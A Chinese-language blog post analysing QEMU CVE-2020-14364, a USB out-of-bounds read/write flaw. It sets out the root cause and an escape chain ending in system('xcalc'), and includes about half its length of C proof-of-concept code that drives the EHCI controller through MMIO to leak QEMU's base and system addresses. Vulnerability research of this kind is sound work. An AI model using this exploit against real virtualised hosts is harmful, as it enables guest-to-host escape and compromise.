如何进行QEMU CVE-2020-14364的漏洞分析
这篇文章给大家介绍如何进行QEMU CVE-2020-14364的漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
QEMU 简介
QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化开源托管虚拟机(VMM)。
QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。
漏洞成因
USB总线通过创建一个USBpacket对象来和USB设备通信.
Usbpacket对象中包含以下关键内容
struct USBPacket { /* Data fields for use by the driver. */ int pid; uint64_t id; USBEndpoint *ep; ....};
其中 "pid" 表明 packet 的类型,存在三种类型 in、out、setup, ep指向endpoint对象,通过此结构定位目标usb设备.
数据交换为 usbdevice 中缓冲区的 data_buf 与 usbpacket 对象中使用 usb_packet_map 申请的缓冲区两者间通过 usb_packet_copy 函数实现,为了防止两者缓冲区长度不匹配,传送的长度由 s->setup_len 限制
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return; }
漏洞存在于s->setup_len赋值的过程do_token_setup中.
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; if (s->setup_len > sizeof(s->data_buf)) { fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n", s->setup_len, sizeof(s->data_buf)); p->status = USB_RET_STALL; return; }
虽然进行了校验,但是由于在校验前,s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞.
漏洞利用:
1、泄露 USBdevice 对象的地址。
观察越界可读内容发现
struct USBDevice { ... uint8_t setup_buf[8]; uint8_t data_buf[4096]; int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[USB_MAX_ENDPOINTS]; USBEndpoint ep_out[USB_MAX_ENDPOINTS]; QLIST_HEAD(, USBDescString) strings; const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */ const USBDescDevice *device; ...};
可以从下方的ep_ctl->dev获取到usbdevice的对象地址.
2、 通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。
3、我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。 由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。
绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取
4、通过任意地址读取 usbdevice 对象的内容以获取 ehcistate 对象地址,再次使用任意地址读取 ehcistate 对象的内容以获取 ehci_bus_ops_companion 地址。 该地址位于程序data节区。 这时,我们可以获得程序的加载地址和 system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。
5、在data_buf中伪造irq结构。
6、以伪造结构劫持ehcistate中的irq对象。
7、通过mmio读取寄存器以触发ehci_update_irq,执行system(" xcalc")。 完成利用。
漏洞poc代码
#include#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include unsigned char* mmio_mem;char *dmabuf;struct ohci_hcca * hcca;struct EHCIqtd * qtd;struct ohci_ed * ed;struct ohci_td * td;char *setup_buf;uint32_t *dmabuf32;char *td_addr;struct EHCIqh * qh;struct ohci_td * td_1;char *dmabuf_phys_addr;typedef struct USBDevice USBDevice;typedef struct USBEndpoint USBEndpoint;struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; USBEndpoint *fd; USBEndpoint *bk;};struct USBDevice { int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[15]; USBEndpoint ep_out[15];};typedef struct EHCIqh { uint32_t next; /* Standard next link pointer */ /* endpoint characteristics */ uint32_t epchar; /* endpoint capabilities */ uint32_t epcap; uint32_t current_qtd; /* Standard next link pointer */ uint32_t next_qtd; /* Standard next link pointer */ uint32_t altnext_qtd; uint32_t token; /* Same as QTD token */ uint32_t bufptr[5]; /* Standard buffer pointer */} EHCIqh;typedef struct EHCIqtd { uint32_t next; /* Standard next link pointer */ uint32_t altnext; /* Standard next link pointer */ uint32_t token; uint32_t bufptr[5]; /* Standard buffer pointer */} EHCIqtd;uint64_t virt2phys(void* p){ uint64_t virt = (uint64_t)p; // Assert page alignment int fd = open("/proc/self/pagemap", O_RDONLY); if (fd == -1) die("open"); uint64_t offset = (virt / 0x1000) * 8; lseek(fd, offset, SEEK_SET); uint64_t phys; if (read(fd, &phys, 8 ) != 8) die("read"); // Assert page present phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff); return phys;} void die(const char* msg){ perror(msg); exit(-1);}void mmio_write(uint32_t addr, uint32_t value){ *((uint32_t*)(mmio_mem + addr)) = value;}uint64_t mmio_read(uint32_t addr){ return *((uint64_t*)(mmio_mem + addr));}void init(){int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed");mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed");dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (dmabuf == MAP_FAILED) die("mmap"); mlock(dmabuf, 0x3000);hcca=dmabuf;dmabuf32=dmabuf+4;qtd=dmabuf+0x200;qh=dmabuf+0x100;setup_buf=dmabuf+0x300;}void init_state(){mmio_write(0x64,0x100);mmio_write(0x64,0x4);qh->epchar=0x00;qh->token=1<<7;qh->current_qtd=virt2phys(dmabuf+0x200);struct EHCIqtd * qtd;qtd=dmabuf+0x200;qtd->token=1<<7 | 2<<8 | 8<<16;qtd->bufptr[0]=virt2phys(dmabuf+0x300);setup_buf[6]=0xff;setup_buf[7]=0x0;dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;mmio_write(0x28,0x0);mmio_write(0x30,0x0);mmio_write(0x38,virt2phys(dmabuf));mmio_write(0x34,virt2phys(dmabuf));mmio_write(0x20,0x11);}void set_length(uint16_t len,uint8_t in){mmio_write(0x64,0x100);mmio_write(0x64,0x4);setup_buf[0]=in;setup_buf[6]=len&0xff;setup_buf[7]=(len>>8)&0xff;qh->epchar=0x00;qh->token=1<<7;qh->current_qtd=virt2phys(dmabuf+0x200);qtd->token=1<<7 | 2<<8 | 8<<16;qtd->bufptr[0]=virt2phys(dmabuf+0x300);dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;mmio_write(0x28,0x0);mmio_write(0x30,0x0);mmio_write(0x38,virt2phys(dmabuf));mmio_write(0x34,virt2phys(dmabuf));mmio_write(0x20,0x11);}void do_copy_read(){mmio_write(0x64,0x100);mmio_write(0x64,0x4);qh->epchar=0x00;qh->token=1<<7;qh->current_qtd=virt2phys(dmabuf+0x200);qtd->token=1<<7 | 1<<8 | 0x1f00<<16;qtd->bufptr[0]=virt2phys(dmabuf+0x1000);qtd->bufptr[1]=virt2phys(dmabuf+0x2000);dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;mmio_write(0x28,0x0);mmio_write(0x30,0x0);mmio_write(0x38,virt2phys(dmabuf));mmio_write(0x34,virt2phys(dmabuf));mmio_write(0x20,0x11);}int main(){init();iopl(3);outw(0,0xc0c0);outw(0,0xc0e0);outw(0,0xc010);outw(0,0xc0a0);sleep(3);init_state();sleep(2);set_length(0x2000,0x80);sleep(2);do_copy_read();sleep(2);struct USBDevice* usb_device_tmp=dmabuf+0x2004;struct USBDevice usb_device;memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));uint64_t dev_addr=usb_device.ep_ctl.dev;uint64_t *tmp=dmabuf+0x24f4;long long base=*tmp;if(base == 0){printf("INIT DOWN,DO IT AGAIN");return 0;}base-=0xee5480-0x2668c0;uint64_t system=base+0x2d9610;puts("\\\\\\\\\\\\\\\\\\\\\\\\");printf("LEAK BASE ADDRESS:%llx!\n",base);printf("LEAK SYSTEM ADDRESS:%llx!\n",system);puts("\\\\\\\\\\\\\\\\\\\\\\\\");}
关于如何进行QEMU CVE-2020-14364的漏洞分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。